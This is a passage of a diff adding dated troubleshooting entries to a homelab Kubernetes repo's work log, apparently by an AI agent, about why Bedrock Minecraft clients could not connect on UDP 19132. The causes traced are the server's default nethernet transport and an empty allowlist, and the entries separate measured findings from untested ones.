+next L2/L3 piece on top of unmerged branches would create a rebase tangle for no gain — the work
+cannot land any faster. The next piece is specified and ready to start once these are merged:
+`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
+boundary landed in #13.
+
+## 2026-09-29 — Bedrock "cannot connect on 19132": the platform delivered the packets, the server never opened the socket
+
+**Branch:** `fix/crafty-bedrock-19132` → PR to `main`. **Read-only diagnosis; nothing was applied.**
+**Gate:** see "Gate" below — quote it, do not round it up.
+
+### The report, and what actually refuses
+
+Reported as "users are unable to connect to Crafty Minecraft servers listening on UDP port 19132
+(Bedrock, slot 0)". No client type, no error text, no history.
+
+**Nothing was listening on UDP 19132.** A Bedrock server exists and its process is alive, but it is
+not speaking RakNet, so it never binds a UDP port. The entire network path below it is correct and was
+measured as such, including *counted packets that arrived and were allowed*.
+
+The chain, each line a measured field with the command that produced it:
+
+1. **The server exists and runs.** `kubectl -n crafty exec … -c crafty -- ps -ef`:
+   `crafty 46689 1 ./bedrock_server`, started 20:54, cwd
+   `/crafty/servers/c5837301-12b1-404e-b50e-70eafb37226b`. Crafty's DB (`select * from servers` via
+   `/crafty/.venv/bin/python`, read-only URI) row 2: `server_name='K3s-Bedrock'`,
+   `type='minecraft-bedrock'`, `server_port=19132`, `created='2026-09-29 20:51:53'`.
+   So hypothesis "the operator never created a Bedrock server" — the PM's prior favourite, and mine —
+   is **false**. It was created ~20 minutes before I looked.
+2. **Nothing is bound to UDP 19132.** `cat /proc/net/udp` and `/proc/net/udp6` in the crafty
+   container: **no `4ABC` local port in either family**. IPv4 UDP held nothing but an ephemeral
+   (`BBBF`=48063); IPv6 UDP nothing but `1D7F`=7551. Meanwhile `/proc/net/tcp6` line 0 is
+   `…:4ABC … 0A` — port 19132 is bound, as **TCP**, LISTEN. (Java's 25565 = `63DD` and Crafty's
+   8443 = `20FB` are both there in `tcp6`, so the Java server is genuinely up.)
+3. **Why: `transport=nethernet`.** `grep -v ^# server.properties` on the Bedrock server dir:
+   `server-port=19132`, `server-portv6=19133`, **`transport=nethernet`**, `enable-lan-visibility=true`.
+   The file's own shipped documentation, quoted verbatim: `# Allowed values: "raknet" or "nethernet"`,
+   and above `server-portv6`: `# This property is ignored when transport=nethernet and a dual-stack
+   socket will be opened on server-port instead`. NetherNet is the WebRTC/Xbox-signalled transport —
+   it opens no RakNet UDP listener. Consistent with the pod's outbound `tcp` entries to
+   `150.171.110.177:443` / `.178:443` (Microsoft) and the churning ephemeral UDP sockets.
+4. **Nobody set that; it is the vendor default.** `server.properties` mtime `Sep 29 20:52` equals the
+   `bedrock_server` binary's — untouched since extraction — and `grep -rn transport
+   /crafty/app/classes/minecraft/` returns **nothing**: Crafty has no code that reads or writes this
+   property. So a freshly-downloaded BDS of this build **never** listens on `19132/udp`, and no amount
+   of Crafty-side configuration changes that.
+5. **The failure is observable from inside the pod, from localhost.**
+   `grep raknet /crafty/logs/commander.log`, every 5–30 s since 21:02:
+   `WARNING - app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to
+   127.0.0.1:19132`. Crafty's only Bedrock health probe is `raknet_ping.py` (`ls
+   /crafty/app/classes/remote_stats/`), so the panel is asking the right question and getting silence
+   **over loopback**. That single line eliminates every network hypothesis at once.
+6. **Real player traffic reached the pod and was permitted.** `cilium-dbg bpf policy get <crafty ep>`
+   on `cilium-wdh82` (k3s-prod-1):
+   `Allow Ingress reserved:world 19132/UDP … BYTES 27660 PACKETS 26`.
+   **26 packets of world traffic were allowed in on 19132/UDP.** The policy did not drop them; the
+   application had no socket to receive them. `reserved:remote-node 19132/UDP` is also an Allow (0
+   bytes — the packets landed on the node that both announces the VIP and runs the pod, so no second
+   hop), which re-confirms the 2026-09-14 finding that `cluster` subsumes `remote-node` here.
+
+**Verdict: this is not a platform defect and not a manifest defect. It is the Bedrock Dedicated
+Server's default `transport=nethernet`, plus a README that told the operator creating a server on
+19132 was sufficient.** The repo-side defect is documentation, and that is what this branch changes.
+
+### The platform path, measured sound (so the operator can rule it out for good)
+
+| Claim | Measured |
+|---|---|
+| `crafty-l4-udp` really is `Cluster` | `kubectl get svc crafty-l4-udp -o yaml` → `spec.externalTrafficPolicy: Cluster` (the 2026-09-14 fix IS live, not just in git) |
+| VIP allocated | `status.loadBalancer.ingress[0].ip: 192.168.2.22`, `ipMode: VIP`, condition `cilium.io/IPAMRequestSatisfied=True reason=satisfied` |
+| Backends exist | EndpointSlice `crafty-l4-udp-68kws` → `10.0.0.130`, ports `19132,19133,19134` |
+| Datapath frontend present | `cilium-dbg service list` on **both** k3s-prod-1 and k3s-prod-3: `192.168.2.22:19132/UDP LoadBalancer 1 => 10.0.0.130:19132/UDP (active)` — i.e. any node can serve it, which is exactly what `Cluster` is for |
+| Policy admits it | datapath policy map, `Allow Ingress reserved:world 19132/UDP` (+ `host`, `remote-node`, `unmanaged`, `init`, `health`, `kube-apiserver`) |
+| LAN DNS resolves | `nslookup crafty-mc.home.keithjackson.dev 127.0.0.1` in the pihole pod → `Address: 192.168.2.22` |
+| Flux applied current `main` | Kustomization `crafty` `.status.lastAppliedRevision = main@sha1:20ea70d…` == GitRepository `flux-system` `.status.artifact.revision = main@sha1:20ea70d…` |
+
+### A real second finding: the shared VIP's two leases sit on DIFFERENT nodes
+
+`kubectl -n kube-system get lease … | grep l2announce`:
+
+    cilium-l2announce-crafty-crafty-l4-tcp   k3s-prod-3
+    cilium-l2announce-crafty-crafty-l4-udp   k3s-prod-1
+    cilium-l2announce-unifi-unifi-l4-tcp     k3s-prod-2
+    cilium-l2announce-unifi-unifi-l4-udp     k3s-prod-2
+    cilium-l2announce-pihole-pihole-dns-tcp  k3s-prod-3
+    cilium-l2announce-pihole-pihole-dns-udp  k3s-prod-3
+
+Crafty is the **only** shared-VIP pair that is split: **two nodes ARP-announce `192.168.2.22`
+simultaneously.** unifi and pihole happen to be co-located. This is the per-Service, backend-blind
+election described in `service-l4.yaml` doing exactly what that comment says it does — and it is a
+*coincidence* that the other two pairs agree, not a property.
+
+**I am not calling this the bug, and I am not changing anything for it**, because under
+`externalTrafficPolicy: Cluster` it is benign by construction: `cilium-dbg service list` shows the
+full frontend set with an active backend on **both** announcing nodes (table above), so whichever
+node's ARP reply a client caches, the packet is forwarded to the pod. The cost is ARP-cache churn on
+LAN clients, not a black hole — and this is why the 2026-09-14 `Local`→`Cluster` flip was the right
+fix rather than a lucky one. **No new L0 check is warranted:**
+`conformance/tests/l0-static/l2-announced-vips-serve-from-any-node/check.sh` already forbids
+`Local` on any announced Service tree-wide, which is precisely the invariant that makes a split
+harmless. An additional "shared-VIP pairs must be co-located" check would assert a *runtime* lease
+placement a static check cannot see, and Cilium offers no field to pin it.
+
+### Hypotheses tested and discarded, so nobody re-runs them
+
+- **Wrong port / IPv6-only bind (h2).** Partly right in shape, wrong in mechanism: `server-port=19132`
+  is correct and the process is not v6-only — it binds *no* UDP port at all. Measured, not assumed.
+- **Shared-VIP ARP split (h3).** Real (above), not causal.
+- **`Cluster` not actually live on the UDP Service (h4).** False; it is live, with datapath to match.
+- **Loaded policy ≠ git policy (h5).** False; dumped the BPF map, 19132/UDP is an Allow and has
+  counted traffic.
+- **SNAT collapsing RakNet sessions (h6).** **UNTESTED AND UNTESTABLE TODAY** — there is no RakNet
+  session to collapse. It remains a live theory for *after* the transport is fixed: Cilium is in SNAT
+  mode (no `loadBalancer.mode: dsr`), so every LAN player will reach the server as one address, and
+  RakNet keys sessions on source `ip:port`. Nothing was measured about masquerade port-reuse or UDP
+  conntrack here. Do not treat this paragraph as evidence of anything.
+- **DNS (h8).** False; pihole answers `192.168.2.22` (table above).
+- **Client-side realities (h7).** Not the *cause* of a dead socket, but they will be the next wall:
+  LAN/Friends discovery cannot work behind a VIP, and consoles cannot type a server address. Both are
+  now documented in `platform/crafty/README.md` rather than left for the next person to rediscover.
+
+### What changed in this repo
+
+`platform/crafty/README.md` only. **No manifest was touched** — the manifests are provably correct,
+and adding ports or widening policy for this would have been manufacturing work to look productive.
+Added: *"Bedrock on UDP 19132 — the transport trap"* (the measurement chain above, and the
+`raknet_ping` warning as its signature), *"Bedrock realities that are NOT platform defects"* (no LAN
+discovery, consoles, the `enable-lan-visibility` collision with slots 1–2, `server-portv6`). Corrected
+three stale claims: "the operator has **not created any servers yet**" (two exist), the human test
+that implied a started Bedrock server on 19132 is reachable, and the single-server *Runtime state*
+section (now a two-row table).
+
+### What I did NOT verify — read this before acting
+
+- **That `transport=raknet` fixes it is REASONED, NOT OBSERVED.** It follows from the shipped property
+  docs (`Allowed values: "raknet" or "nethernet"`; `server-portv6` "ignored when
+  transport=nethernet") and from the absence of any UDP bind under `nethernet`. Editing
+  `server.properties` is a write to application state on the PVC, which is an operator action, so I
+  did not try it. **Nobody has seen a packet answered on 19132/udp on this cluster.**
+- **No end-to-end LAN test.** I never sent a RakNet unconnected-ping from a LAN host to
+  `192.168.2.22:19132`. I did not need to: the same ping fails from `127.0.0.1` inside the pod.
+- **Nothing was applied.** No `kubectl apply/edit/patch/scale`, no `flux reconcile`, no file written
+  inside the container. The running pod is still `crafty-64f7b6d78-pkpgp` (2/2, 15d, 0 restarts) on
+  the **pre-`fix/crafty-oauth2-proxy-signin`** spec — that PR is still unmerged.
+- **Who those 26 packets came from is unknown.** Byte/packet counters prove arrival and permission,
+  not identity. I did not run a live `cilium monitor` or `tcpdump`, so "users were trying and being
+  ignored" is a strong inference, not a captured flow.
+- **The Java server's reachability was not tested.** `25565` is bound (`tcp6 63DD LISTEN`) and its
+  datapath frontend is active on both nodes, but no client connected during this session. The TCP
+  lease being on k3s-prod-3 while the pod is on k3s-prod-1 is `Cluster` working as designed — asserted
+  from the service table, not from a connection.
+- **The NetherNet side was not explored.** Whether this server is currently joinable *at all* through
+  Xbox/Friends signalling (its actual transport) is unknown and untested.
+- **Bedrock slots 1 and 2 (19133/19134) have never had a server.** The `enable-lan-visibility`
+  collision I documented for them is read from the shipped comment, not provoked.
+
+### Operator actions required (I cannot do any of these)
+
+1. **Make the Bedrock server speak RakNet.** In Crafty: stop `K3s-Bedrock`, edit
+   `/crafty/servers/c5837301-12b1-404e-b50e-70eafb37226b/server.properties` →
+   `transport=raknet`, start it. Then confirm the socket exists before telling anyone it works:
+   `kubectl --context k3s-prod -n crafty exec <pod> -c crafty -- grep 4ABC /proc/net/udp /proc/net/udp6`
+   should now show a wildcard bind, and the `raknet_ping` timeout warnings in
+   `/crafty/logs/commander.log` should stop. **Both checks, not one.**
+2. **Then tell the players how to connect.** Windows/mobile client → **Add Server** →
+   `crafty-mc.home.keithjackson.dev`, port **19132**. It will *not* appear in the LAN/Friends tab, and
+   a Switch/Xbox/PlayStation client cannot reach it at all. If the reported users are on consoles,
+   step 1 will not help them and the answer is "unsupported without a DNS redirect".
+3. **Fix `auto_start` on the new server.** DB row `K3s-Bedrock` has `auto_start=0` **and**
+   `crash_detection=0` — the create-API trap already documented in this repo, live again.
+   `PATCH /api/v2/servers/c5837301-…` setting both true, **and read them back**. Until then the
+   Bedrock server does not survive a pod restart — and merging
+   `fix/crafty-oauth2-proxy-signin` restarts the pod (`strategy: Recreate`, RWO volume), stopping
+   *both* Minecraft servers.
+4. **Optional, cosmetic:** to stop two nodes ARP-announcing `192.168.2.22`, delete
+   `lease/cilium-l2announce-crafty-crafty-l4-tcp` in `kube-system` and let it re-elect — a 1-in-3
+   chance of landing on k3s-prod-1. Not worth doing: under `Cluster` the split costs nothing but ARP
+   churn, and a redraw is equally random.
+5. **After step 1, watch for the SNAT/RakNet question (h6 above)** — if a *second* simultaneous player
+   evicts the first, that is the SNAT theory becoming real and it needs its own measured
+   investigation (masquerade port reuse, UDP conntrack), not a guess.
+
+## 2026-09-29 (later) — Bedrock IS reachable on 19132/udp. The `TRANSPORT TYPE ERROR` banner is advisory, and the last entry's "REASONED, NOT OBSERVED" call has now been OBSERVED — correct
+
+**Do not read this as overturning the previous entry's recommendation. It confirms it.** What it
+overturns is the conclusion the operator and I both drew from the server's *reaction* to it.
+
+### The sequence
+
+The entry above ended with operator action 1: stop `K3s-Bedrock`, set `transport=raknet`, start it —
+explicitly flagged **"REASONED, NOT OBSERVED … Nobody has seen a packet answered on 19132/udp on this
+cluster."** The operator did it. `/crafty/logs/audit.log`, measured:
+
+    21:32:32  issued command stop_server for server K3s-Bedrock
+    21:33:31  Edited file /crafty/servers/c5837301-…/server.properties
+    21:33:58  issued command start_server for server K3s-Bedrock
+
+BDS then printed, at ERROR level, `================ TRANSPORT TYPE ERROR ===================` /
+`Your current connection type is not set to NetherNet. In this release, NetherNet is the only supported
+transport type.` / `Players will not be able to connect to your game without NetherNet.` That was
+reported to me as *"the server rejected it"*, and I was briefed to treat the shipped property comment
+(`Allowed values: "raknet" or "nethernet"`) as stale relative to the binary and to write up an
+architecture finding: that BDS is NetherNet-only, can never bind `19132/udp`, and that the whole
+`crafty-l4-udp` exposure is therefore inert.
+
+**That brief was wrong, and so was the inference behind it. The server did not reject anything.**
+
+### What is actually true (all OBSERVED, 2026-09-29 21:38–21:41)
+
+- `./bedrock_server` pid **47006** is running, started 21:34 and still up — it printed that banner and
+  carried on. It did not exit and Crafty did not restart it.
+- It **bound the RakNet sockets**: `/proc/net/udp` `00000000:4ABC` (19132/IPv4) and `/proc/net/udp6`
+  `…:4ABD` (19133/IPv6), both owned by that pid (`/proc/47006/fd/25`, `fd/26` → those inodes). The
+  **TCP** bind on `4ABC` that the last entry measured under nethernet is **gone**.
+- Crafty's warning changed kind at that exact moment: last `Got timeout while issuing bedrock ping` at
+  **`21:34:04,306`**, first `Bedrock ping returned a string with too few fields` at **`21:34:09,854`**
+  (155 timeout lines, then 86 answered and counting). Per `raknet_ping.py`, `Got timeout` is emitted
+  *only* when `sock.recv` raises `TimeoutError`; `too few fields` is reachable *only after* a `0x1C`
+  Unconnected Pong arrives **and its magic validates**. The listener answers.
+- **The end-to-end test the last entry admitted it had never run, run:** a RakNet Unconnected Ping from
+  the toolbox on the LAN (host network, off-cluster) to the prod VIP **`192.168.2.22:19132`** returns a
+  139-byte `0x1c` pong in ~12 ms, magic valid:
+
+      MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
+
+  BDS **1.26.52**, protocol 2193, 0/10 players. `:19133` returns the **same** pong from the same
+  `server_guid` (that is `enable-lan-visibility=true`, now observed rather than read off a comment);
+  `:19134` times out, correctly. **A Bedrock player on this LAN can connect right now.**
+- The vendor's own doc on the PVC, `bedrock_server_how_to.html` (shipped in the same archive as the
+  binary, same mtime 20:52), documents `transport` as *"raknet, nethernet"* and: *"**raknet** — The
+  traditional Bedrock UDP transport. The server listens directly on `server-port` (IPv4) and
+  `server-portv6` (IPv6), and clients connect to that address and port."*
+- RakNet is still fully compiled in: `strings bedrock_server` yields `RakNetConnector`,
+  `createUniqueRakPeer`, `RakPeerInterface`, and the vendored build path
+  `/mnt/vss/_work/1/s/handheld/src-deps/raknet/raknet/RakNetSocket2.cpp`.
+
+So `NetherNet is the only supported transport type` is a **support** statement, not a **capability**
+one. Microsoft declines to support RakNet and ships it working, at ERROR log level, in 1.26.52.
+
+### Why nethernet could never have worked here anyway — a finding the last entry missed
+
+The same vendor doc explains the last entry's oddest measurement (19132 bound **TCP**): nethernet
+*"listens on a single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake,
+then negotiates a UDP connection with each client."* And this repo exposes **no TCP 19132**:
+`crafty-l4-tcp` carries 25565-25567 only, and `crafty-allow-ingress` allows `19132 UDP` and not
+`19132 TCP`. The signaling port was unreachable at the Service layer *and* the policy layer. The
+server's own `packet-statistics.txt` for that 2293-second nethernet run agrees: `Total Received: 0, 0B`.
+The 26 packets / 27660 bytes the last entry found on the `19132/UDP` policy map were players' RakNet
+pings arriving at a port where nethernet had opened no UDP socket. Consistent, and now closed.
+
+### Where the reasoning failed — the part worth keeping
+
+The previous entry's reasoning was **sound and its recommendation was right**; it was correctly
+labelled as unobserved, and the observation vindicated it. The failure was downstream, in reading the
+server's response:
+
+1. **An ERROR-level log line was read as a refusal.** It was a deprecation notice. Nothing checked
+   whether the process survived it or what it bound — and both were one command away.
+2. **"The vendor comment is stale relative to the binary" was asserted from the binary's *complaint*,
+   never from the binary's *behaviour*.** The binary had two other testimonies on disk — the shipped
+   how-to, and its own symbol table — and both said `raknet` works. Neither was consulted.
+3. The tiebreak between two contradicting vendor statements is never a third piece of prose. It is
+   `/proc/net/udp` and a pong on the wire. That is what settled it, in about four minutes.
+
+This is CLAUDE.md §2b applied one level further in: don't infer platform state from the repo, **and
+don't infer application state from the application's own error message.** Query the socket.
+
+### Decision and recommendation
+
+**Keep `transport=raknet`. No manifest change.** `service-l4.yaml`, `networkpolicy.yaml` and the
+`containerPort`s were already shaped for exactly RakNet and are now proven end-to-end rather than
+assumed. Ranked alternatives, all rejected for today and written up in the README:
+
+1. **Keep `transport=raknet`** — zero manifest change, works now, vanilla parity, real Bedrock world.
+2. **GeyserMC + Floodgate** on the existing `homelab` Paper server — also zero manifest change (Geyser
+   itself binds `19132/udp`, so the existing Service is already correct), held in reserve for the day
+   RakNet is genuinely removed. It **cannot run alongside** the live BDS: both want 19132. Cost is that
+   Bedrock players join the **Java** world. Geyser's current Bedrock-version support is
+   **external and unmeasured**.
+3. **Pin/downgrade BDS** — unnecessary (the current build speaks RakNet) and fragile.
+4. **PocketMine-MP / Nukkit** — no; loses vanilla parity and world format.
+5. **Accept NetherNet** — worst option: it needs *more* manifest work than the one that already works
+   (TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus `server-udp-ports` pinned and
+   exposed), and WebRTC media behind a shared VIP and SNAT is unproven here.
+
+The 19132-19134/UDP exposure **stays** and is **not** inert. That part of the brief is refuted.
+
+### What changed in this repo
+
+`platform/crafty/README.md` only — again **no manifest touched**, and this time that is a measured
+conclusion rather than a cautious one.
+
+- Replaced *"the transport trap"* with a two-trap section: nethernet hides the UDP socket, and then the
+  `TRANSPORT TYPE ERROR` banner frightens you into reverting the fix. Records the full evidence chain,
+  the vendor how-to quotes, the binary symbols, and the off-cluster pong.
+- Documented that Crafty's perpetual `too few fields - missing values [None]` warning is the **success**
+  signature, not a failure: BDS 1.26.52's pong has 16 `;`-fields, Crafty 4.10.8's
+  `pingpong_string_fields` knows 14 and wants an empty terminator, gets `'0'`. Cosmetic. The failure
+  signature is the *other* message, `Got timeout`.
+- Added the ranked options table with each option's manifest consequence, and an *"If RakNet is ever
+  really removed"* section naming Geyser+Floodgate as the migration with the exact PVC/panel steps.
+- Upgraded the `enable-lan-visibility` note from "read off a comment" to OBSERVED, and **corrected** the
+  claim that `19133` is unreachable — it is reachable, on IPv4, and slot 1 genuinely is occupied.
+- Corrected the **Game VIP**: the README stated `192.168.1.55` as fact. That is the base/dev value;
+  `clusters/prod/kustomization.yaml` patches `CRAFTY_L4_VIP` to `192.168.2.22`, which is the live
+  `EXTERNAL-IP` on both `crafty-l4-tcp` and `crafty-l4-udp`. Rewrote as the variable plus the measured
+  prod value.
+- Noted that `transport=raknet` is PVC state Flux cannot restore, and that a recreated or reinstalled
+  Bedrock server silently regresses to the vendor default `nethernet`.
+- Re-confirmed `K3s-Bedrock` `auto_start=0` / `crash_detection=0` straight out of `crafty.sqlite`.
+
+### What I did NOT verify — read this before acting
+
+- **No human Bedrock client has connected.** I proved the RakNet *ping/pong* handshake end-to-end from
+  off-cluster; I did not complete a login, which additionally requires Xbox Live auth
+  (`online-mode=true`) from the client. **UNVERIFIED that a player reaches the world**, and it is the
+  one test only a human with a Minecraft client can run.
+- **The multi-player SNAT question from the last entry is still open and still untested.** Whether a
+  *second* simultaneous Bedrock player evicts the first (masquerade port reuse / UDP conntrack behind a
+  shared VIP) is unmeasured. One ping proves one flow.
+- **Whether a console can reach it is still no** — unchanged and still not tested; consoles have no
+  server-address field.
+- **Geyser is entirely unmeasured here.** Nothing was installed, downloaded, or run. Its Bedrock-version
+  support, its jar names and its config keys as written in the README are **web/documentation-sourced,
+  not observed on this cluster**. Verify before acting on that section.
+- **Whether Crafty can pin a BDS version is UNVERIFIED** — I did not read its Bedrock installer.
+- **A web search on this error was attempted and was low-quality** — results largely echoed the error
+  string back. Nothing in the README or this entry rests on it. The load-bearing evidence is all local:
+  `/proc/net/*`, `/proc/47006/fd/*`, `audit.log`, `commander.log`, `raknet_ping.py`, the shipped
+  `bedrock_server_how_to.html`, `strings bedrock_server`, and the pong.
+- **Whether a future BDS removes RakNet for real is unknowable from here.** Treat the banner as a
+  deprecation notice with an unknown expiry.
+- **Nothing was applied or written.** No `kubectl apply/edit/patch/scale/delete`, no `flux reconcile`,
+  no write anywhere inside the container — `server.properties` was read, never touched. The running pod
+  is still `crafty-64f7b6d78-pkpgp` (2/2, 15d, 0 restarts). All probes were reads plus outbound UDP
+  pings from the toolbox.
+- **`fix/crafty-oauth2-proxy-signin` is still unmerged**, so the pod still runs the pre-that-PR spec.
+
+### Gate and CI — rc 3, and why CI's green does not contradict that
+
+Local, pinned toolbox, from the worktree (`ENGINE` shim + `DEV_KUBECONFIG=/dev/null`), diff base
+`origin/main @ 20ea70d` → `HEAD @ d29a73c`:
+
+| Stage | Result |
+|---|---|
+| `lint` | green |
+| `l0` | green — 19 cases, 0 failures, 0 skips |
+| `render-golden` | green — all 10 onboarded goldens reproduce |
+| `l1` | green — 3 cases, 0 failures, 0 skips |
+| `spec-immutability` | **green** (see below) |
+| `gitea-settings` | **SKIPPED** — `SETTINGS_API_TOKEN` unset |
+| `conformance` (L2/L3) | **SKIPPED** — `CLUSTER_AVAILABLE != true` |
+
+**Exit code 3 — UNDETERMINED, not a PASS.** Nothing failed; nothing outside the green rows is
+certified. Touched requirements `R-DNS-01 R-NET-01 R-PLAT-02 R-STATE-01` remain L2/L3 UNVERIFIED.
+
+`spec-immutability` — normally *the* tolerated skip — was closed rather than accepted. It had skipped
+**spuriously**: `dev.sh` resolves the spec repo at `$REPO_ROOT/../home-network-k3s`, which from a
+*worktree* is the wrong directory; the repo exists beside the **main** checkout. Mounting it read-only
+through the `ENGINE` shim turned the skip into a real green, so R-TEST-06 is genuinely verified here.
+Worth folding into the CLAUDE.md §3 worktree workarounds: the documented shim should mount **two**
+paths, the main `.git` *and* the sibling spec repo.
+
+CI on `d29a73c`, statuses read by description and not by tick:
+
+    context='gate / gate (pull_request)'        status='success'  description='Successful in 1m35s'
+    context='gate / conformance (pull_request)' status='success'  description='Has been skipped'
+
+**Neither green means rc 0.** `gate / conformance` is `if: false` in `.gitea/workflows/gate.yml` — it
+never runs and reports `success` with "Has been skipped", the exact trap CLAUDE.md §2 names. And
+`gate / gate`, the single required context, runs `./ci/gate.sh || [ "$?" -eq 3 ]` (line 134): **CI
+tolerates exit 3 by declared design**, so its green means "exited 0 *or* 3". It would report this
+identical green for the rc 3 above. Enforcement itself was measured directly rather than assumed
+(§2b): `branches/main` → `protected: true`, `user_can_push: false`, `required_approvals: 1`,
+`enable_status_check: true`, `status_check_contexts: ['gate / gate (pull_request)']`;
+`admin/actions/runners` → 1 runner, `incluster-dind`, `online`. **PR #23 is open, unmerged, and I did
+not merge it.**
+
+### Operator actions required
+
+1. **Nothing to do about the transport.** `transport=raknet` is correct, live, and answering. **Do not
+   revert it because of the `TRANSPORT TYPE ERROR` banner, and do not chase Crafty's `too few fields`
+   warning** — both appear on a fully working server.
+2. **Get a human to actually join**, from a Windows/mobile client: **Add Server** →
+   `crafty-mc.home.keithjackson.dev`, port **19132**. This is the only remaining unproven step. It will
+   never appear in the LAN/Friends tab; a console cannot reach it at all.
+3. **Fix `auto_start` — still outstanding, and now more urgent.** `K3s-Bedrock` is still
+   `auto_start=0`, `crash_detection=0`. `PATCH /api/v2/servers/c5837301-12b1-404e-b50e-70eafb37226b`
+   setting both true **and read them back** (the create API silently drops them). Until then the
+   Bedrock server does not survive a pod restart — and merging `fix/crafty-oauth2-proxy-signin`
+   restarts the pod (`strategy: Recreate`, RWO volume), stopping **both** Minecraft servers **and**
+   leaving Bedrock down until someone starts it by hand.
+4. **Set `enable-lan-visibility=false` on `K3s-Bedrock`** if a second Bedrock server is ever wanted.
+   It currently occupies **both** 19132 and 19133 (measured), so slot 1 is not actually free. LAN
+   discovery cannot work behind the VIP anyway, so nothing is lost.
+5. **Re-check after any Bedrock server recreate or BDS update:** confirm `transport=raknet` survived,
+   then re-ping. The vendor default is `nethernet`, and the regression is silent.
+6. **If a second simultaneous player evicts the first**, that is the SNAT/UDP-conntrack theory becoming
+   real; it needs its own measured investigation, not a guess.
+
+## 2026-09-29 (later still) — "You are not invited": the join gate is an empty allowlist. RakNet is confirmed working *by the refusal itself*
+
+A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. This was
+put to me as evidence that NetherNet signalling is working, that the refusal might have come from
+Microsoft rather than our server, and that BDS players therefore never traverse this repo's
+`crafty-l4-udp` path. **Measured, all three of those are wrong.** The refusal is ours, it came back over
+`19132/udp`, and it has a one-line cause.
+
+### Measured 21:56 (read-only)
+
+| Property / file | Value |
+|---|---|
+| `allow-list` | **`true`** (line 37 of `server.properties`) |
+| `allowlist.json` | **`[]`** — 3 bytes, mtime **20:51**, never edited since the server was created |
+| `online-mode` | `true` |
+| `transport` | **`raknet`** (line 71); `server.properties` mtime **still 21:33:31** |
+| UDP 19132 | bound — `/proc/net/udp` `00000000:4ABC`, pid 47006 |
+| **TCP 19132** | **absent** — `grep 4ABC /proc/net/tcp /proc/net/tcp6` → no match |
+| `bedrock_server` | pid **47006**, etime 21:58 — the *same* process since 21:34, never restarted |
+| `K3s-Bedrock.log_path` | **`''`** (empty string) in `crafty.sqlite`; `Dedicated_Server.txt` is **0 bytes** |
+
+### What that settles
+
+1. **`transport` is still `raknet`. Nobody reverted it and the binary did not rewrite it.** The file's
+   mtime is unchanged from the operator's 21:33:31 edit, `audit.log` records no later edit, and pid
+   47006 has been the same process since 21:34. **So NetherNet is NOT in use and cannot be what served
+   this client.** The premise that "something is evidently set to nethernet" is refuted.
+2. **NetherNet could not have served it even in principle:** nethernet signals over a **TCP** socket on
+   `server-port`, and there is **no TCP 19132 listener in the pod at all**. No signalling endpoint
+   exists, and none is exposed by any Service.
+3. **Therefore the refusal came from our server, over RakNet, over `19132/udp`, through the VIP.** A
+   refusal authored by the server requires the client to have reached the server; the only listener is
+   the RakNet UDP socket. **The 19132-19134/UDP exposure is the opposite of inert — it is the path that
+   carried both the earlier pong and this refusal.** *(Observed: the listeners, the missing TCP socket,
+   `transport=raknet`, the process identity. Reasoned from those: that the refusal traversed that path.)*
+4. **The cause is trivial and certain: `allow-list=true` with `allowlist.json == []` refuses every
+   player.** The shipped `bedrock_server_how_to.html` states it — *"If the `allow-list` property is
+   enabled … the server will only allow selected users to connect. To allow a user to connect you need
+   to know their Xbox Live Gamertag."* An empty array selects nobody. **This configuration cannot admit
+   anyone, so the refusal needed no other explanation.**
+
+### The correlation I was asked for, and why it cannot be done from disk
+
+I was asked to correlate the client error against the BDS server log and `commander.log` at 21:40–22:00,
+on the basis that our log showing nothing would mean the refusal came from Microsoft. **That inference
+does not hold here, because there is no BDS log on disk to be silent.** ``K3s-Bedrock``'s `log_path` is
+the empty string and `Dedicated_Server.txt` is 0 bytes: **Crafty persists no Bedrock stdout anywhere on
+the PVC** — the console is panel-UI-only. `commander.log` 21:39–21:56 holds nothing but `homelab`
+crash-detection lines and `raknet_ping` chatter: no join, no gamertag, no XUID, no allowlist denial.
+That silence is evidence about Crafty's logging, **not** about the refusal's origin. **UNVERIFIED and
+only observable live in the panel console.** The point stands: absence of a log here is not absence of
+an event.
+
+I also did **not** capture the player's packet (no `tcpdump`, no `cilium monitor`), so the flow's
+identity is inferred from the listener topology, not seen. What removes the doubt is that the
+configuration is *unconditionally* refusing: whichever path a client takes, `allow-list=true` plus `[]`
+denies it. The operator action is required either way.
+
+### Correction to the earlier entry's loose end, now firmer
+
+The previous entries left "who sent those 26 packets / 27660 bytes on the `19132/UDP` policy map"
+UNVERIFIED, and it stays UNVERIFIED — but note it was measured *before* 21:34, i.e. during the nethernet
+window when **no UDP listener existed**. Those packets are consistent with clients RakNet-pinging a port
+nothing was listening on. They should **not** be attributed to a successful Bedrock session, and equally
+should not now be re-attributed to this refused client, which arrived later.
+
+### Ranking after this measurement — unchanged at the top
+
+**Keep `transport=raknet`, add the players to the allowlist. Still zero manifest change.** The allowlist
+refusal is orthogonal to transport: it would refuse identically under NetherNet. Switching to NetherNet
+would *add* manifest work (TCP 19132 in `crafty-l4-tcp` **and** `crafty-allow-ingress`, plus
+`server-udp-ports` pinned and exposed) and would admit **not one extra player**. "Accept NetherNet" does
+**not** outrank the status quo on this evidence, because NetherNet is not what is working — RakNet is.
+Geyser stays at #2, reserve-only.
+
+### What changed in this repo
+
+`platform/crafty/README.md` — added *"You are not invited to play on this server — the join gate is the
+allowlist, not the network"*: the measured table, the proof that the refusal is ours and rode the UDP
+path, the "BDS console is not on disk" caveat, the gamertag/XUID identity model, the three operator
+routes (`allowlist add` in the console; edit-then-`allowlist reload`; or `allow-list=false`, discouraged
+because the game port is deliberately un-gated so the allowlist is the *only* join control), and a note
+that `allowlist.json` is PVC state that resets to `[]` on a server recreate. Updated the options table
+and human test 4 to put the allowlist check before blaming the network. **No manifest touched.**
+
+### Still UNVERIFIED
+
+- **No successful join.** Reachability and an authorization refusal are both proven; a completed login is
+  not. Only a human with a client, after an allowlist entry, can close it.
+- **The exact client-side string was not observed by me** — it is the operator's report, and its mapping
+  to the allowlist denial is **reasoned** from the vendor doc, not read out of a BDS log (there is none).
+- **Whether the client used Add-Server-by-IP or an Xbox/Friends route is unknown**, so a *concurrent*
